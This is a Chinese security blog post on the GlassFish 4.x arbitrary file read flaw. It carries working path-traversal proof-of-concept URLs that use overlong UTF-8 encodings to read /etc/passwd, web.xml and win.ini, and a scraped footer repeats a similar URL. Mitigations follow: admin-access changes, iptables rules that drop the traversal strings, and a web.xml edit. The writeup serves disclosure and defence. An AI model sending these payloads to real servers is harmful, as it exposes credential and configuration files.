catalogue

. 前言和技术背景
. Glassfish安装配置
. 漏洞利用
. 漏洞缓解(修复)

1. 前言和技术背景

0x1: GlassFish是什么

GlassFish 是用于构建 Java EE 5 应用服务器的开源开发项目的名称。它基于 Sun Microsystems 提供的 Sun Java System Application Server PE 9 的源代码以及 Oracle 贡献的 TopLink 持久性代码。该项目提供了开发高质量应用服务器的结构化过程,以前所未有的速度提供新的功能。这是对希望能够获得源代码并为开发 Sun 的下一代应用服务器(基于 GlassFish)作出贡献的 Java 开发者作出的回应。该项目旨在促进 Sun 和 Oracle 工程师与社区之间的交流,它将使得所有开发者都能够参与到应用服务器的开发过程中来

0x2: JSF是什么

JSF ,java Server Faces, 他与struts一样都是web应用框架,但是他们的本质区别在于, struts只是单纯的MVC模式框架,而JSF是一种事件驱动型的组件模型
应用程序的开发有两种B/S(浏览器/服务器)和C/S(客户端/服务器端),JSF就是将C/S开发中的界面引入了B/S开发中,然后为界面上的每一个控件都提供事件侦听器。通过JSF,可以在网页上使用WEB组件来捕获用户行为产生的事件.使用JSF开发web程序将与开发swing程序类似,可以拖放控件

0x3: JMX是什么

JMX(Java Management Extensions)是一个为应用程序植入管理功能的框架。JMX是一套标准的代理和服务,实际上,用户可以在任何Java应用程序中使用这些代理和服务实现管理
JMX是一种应用编程接口,可扩充对象和方法的集合体,可以用于跨越一系列不同的异构操作系统平台、系统体系结构和网络传输协议,灵活的开发无缝集成的系统、网络和服务管理应用它提供了用户界面指导、Java类和开发集成系统、网络及网络管理应用的规范。
管理对象是JMX应用程序的核心。JMX结构包括:支持Java的Web浏览器用户接口,管理运行模块ARM(Admin Runtime Module)和应用。这三个部件之间通过RMI(Remote Method Invocation)进行通信。这里需要说明的是,RMI是使得一个Java虚拟机(JVM)上运行的程序可以调用远程服务器上另一个JVM总的对象。
用户接口用来发布管理操作,这些操作可以间接的通过浏览器或通过单独的应用程序来激发。管理运行模块用来给应用提供实例化的管理对象。它包括Agent对象接口,通知接口和被管数据接口。应用指的是那些被管设备单元。
JMX是一个完整的网络管理应用程序开发环境,它同时提供了:厂商需要收集的完整的特性清单,可生成资源清单表格,图形化的用户接口;访问SNMP的网络API;主机间远程过程调用;数据库访问方法。
JMX这一轻型的管理基础结构,价值在于对被管理资源的服务实现了抽象,提供了低层的基本类集合,开发人员在保证大多数的公共管理类的完整性和一致性的前提下,进行扩展以满足特定网络管理应用的需要

Relevant Link:

http://www.xuebuyuan.com/1865382.html

2. Glassfish安装配置

unzip glassfish-4.1.*zip
glassfish4/bin/asadmin start-domain
Go to http://localhost:4848

Relevant Link:

https://java.net/projects/glassfish/sources/svn/show/trunk/main/appserver/admingui/webui-jsf-suntheme-plugin-l10n/src/main/resources/com/sun/webui?rev=64241
http://www.1maven.com/classname-packaging?query&cl=ThemeServlet&pk=com.sun.webui.theme&pg=1&a=&s=#t_
https://glassfish.java.net/download.html

3. 漏洞利用

0x1: POC1(..编码)

http://localhost:4848/theme/META-INF/png%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

0x2: POC1(/编码)

http://localhost:4848/theme/META-INF/..%c0%afMETA-INF%c0%af..%c0%af..%c0%af__admingui%c0%afWEB-INF%c0%afweb.xml
http://localhost:4848/theme/META-INF/prototype%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afwindows/win.ini

4.1.1把 %c0%ae = . 修复了,但是%c0%af = /没过滤

Relevant Link:

http://mp.weixin.qq.com/s?__biz=MzAwNTYwMjM3Mw==&mid=401676448&idx=1&sn=27231eed275dccdeb8c44e1cc6ac1f9a&scene=2&srcid=0114QPY75arMj4necv5moRY0&from=timeline&isappinstalled=0#wechat_redirect
http://www.wooyun.org/bugs/wooyun-2010-0144595

4. 漏洞缓解(修复)

0x1: 关闭远程管理

关闭远程管理,关闭后只允许本地访问,会提示要求输入用户名和密码,开发环境或者对服务器安全要求较高的环境可以选择这么做,修改该设置后应该重启GlassFish服务

./asadmin change-admin-password
./asadmin disable-secure-admin
./asadmin stop-domain
./asadmin start-domain asadmin.bat change-admin-password
asadmin.bat disable-secure-admin
asadmin.bat stop-domain
asadmin.bat start-domain

需要注意的是,关闭远程访问只能禁用远程login登录,但是攻击url还是可以访问,任意文件读取依然存在

0x2: Iptables规则

iptables -I INPUT -p tcp --dport  -m string --to  --algo bm --string '..\%c0\%af' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '\%c0\%ae/' -j DROP
iptables -I INPUT -p tcp --dport -m string --to --algo bm --string '../' -j DROP
//该规则无法防御HTTPS SSL方案

0x3: 禁用web.xml theme映射

\glassfish4\glassfish\lib\install\applications\__admingui\WEB-INF\web.xml

aaarticlea/png;base64,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" alt="" />

重启glassfish后生效

Relevant Link:

http://blog.csdn.net/joyous/article/details/8008870
http://blog.csdn.net/myjlvzlp/article/details/8009885
http://book.51cto.com/art/200904/120804.htm
http://www.netfilter.org/documentation/HOWTO/netfilter-extensions-HOWTO-3.html
http://blog.nintechnet.com/how-to-block-w00tw00t-at-isc-sans-dfind-and-other-web-vulnerability-scanners/

Copyright (c) 2016 LittleHann All rights reserved

应用服务器Glassfish任意文件读取漏洞的更多相关文章

  1. glassfish任意文件读取漏洞解析

    一.背景: glassfish是一款java编写的跨平台的开源的应用服务器. 二.漏洞原理: 与宽字节SQL注入一致,都是由于unicode编码歧义导致的.具体payload如下构造: http:// ...

  2. GlassFish 任意文件读取漏洞

    poc https://192.168.49.2:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0 ...

  3. 安全研究 | Jenkins 任意文件读取漏洞分析

    欢迎大家前往腾讯云+社区,获取更多腾讯海量技术实践干货哦~ 本文由云鼎实验室 发表于云+社区专栏 一.漏洞背景 漏洞编号:CVE-2018-1999002 漏洞等级:高危 Jenkins 7 月 18 ...

  4. 【代码审计】大米CMS_V5.5.3 任意文件读取漏洞分析

      0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...

  5. 【代码审计】XYHCMS V3.5任意文件读取漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  6. 【代码审计】QYKCMS_v4.3.2 任意文件读取漏洞分析

      0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...

  7. PHPMailer命令执行及任意文件读取漏洞

    今天在thinkphp官网闲逛,无意下载了一套eduaskcms,查看了一下libs目录中居然存在PHPMailer-5.2.13,想起了之前看到的PHPMailer的漏洞,可惜这套CMS只提供了一个 ...

  8. Atlassian Confluence任意文件读取漏洞

    Atlassian Confluence Atlassian Confluence是澳大利亚Atlassian公司的一套专业的企业知识管理与协同软件,也可以用于构建企业WiKi.该软件可实现团队成员之 ...

  9. Resin任意文件读取漏洞

    Resin是什么 虽然看不上但是还是原因下百度百科: Resin是CAUCHO公司的产品,是一个非常流行的支持servlets和jsp的引擎,速度非常快.Resin本身包含了一个支持HTTP/1.1的 ...

随机推荐

  1. TRIGGER command denied to user 'root'@'LAPTOP-M7KUFN86' for table 'growtest' | Table 'MyDatabase.tmpIdentity_Invites' doesn't exist

    是因为创建表的时候,用户权限不够 NaviCat for Mysql 用这个工具打开MYSQL 在用户 下找到 root@% 这个用户,双击打开 设置服务器权限,最后两个权限勾上就OK 了,需要把MY ...

  2. 各地IT薪资待遇讨论

    作为一个搞.net开发的程序员,在北京混了三年半,最近准备辞职到上海找工作.由于对上海的IT行业还不是很了解,在这里想让上海的同行们说下你们的情况,以方便我对自己在上海的定位,当然,其余城市的的同行们 ...

  3. C#链接阿里云KVStore

    KVStore的简单介绍 阿里云KVStore兼容Redis.因为KVStore就相当于Redis的服务器端,我们代码只是当作客户端,链接上服务器端就行了,阿里云的KVStore详情文档见,https ...

  4. 常用数据库高可用和分区解决方案(1) — MySQL篇

    在本文中我们将会讨论MySQL.Oracle.MongoDB.Redis以及Oceanbase数据库,大家可能会奇怪为什么看不到有名关系型数据库MSSQL.DB2或者有名NoSQL数据库Hbase.L ...

  5. PHP 异常

    <?php /* PHP 异常处理 什么是异常? PHP 5 提供了一种新的面向对象的错误处理方法. 异常处理用于在指定的错误(异常)情况发生时改变脚本的正常流程. 这种情况称为异常. 当异常被 ...

  6. Beta版本冲刺———第二天

    会议照片: 项目燃尽图: 1.项目进展: 昨天的困难:分数排行榜的设计 今天解决的进度:完成了界面优化以及建立新的排行榜选项卡界面. 明天要做的事情:分数排行榜的功能设计 2.每个人每天做的事情 郭怡 ...

  7. 思维导图分享以及MindManager使用说明

    来源于: http://www.cnblogs.com/muhongxing/archive/2009/12/22/1628782.html http://www.cnblogs.com/muhong ...

  8. 使用D3绘制图表(5)--水平柱状图表

    绘制水平柱状图表的方法也不是很难,首先在svg中插入g,然后在g中插入rect. 1.html代码 <!DOCTYPE html> <html> <head> &l ...

  9. Shell命令_if

    1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #if if [ 条件判断式 ] ...

  10. Linux命令:修改文件权限命令chmod、chgrp、chown的区别

    chmod是更改文件的权限 chown是改改文件的属主与属组 chgrp只是更改文件的属组. (1)chmod是修改文件/目录的权限.可以有文字修改和数字修改. #chmod 777 /home/be ...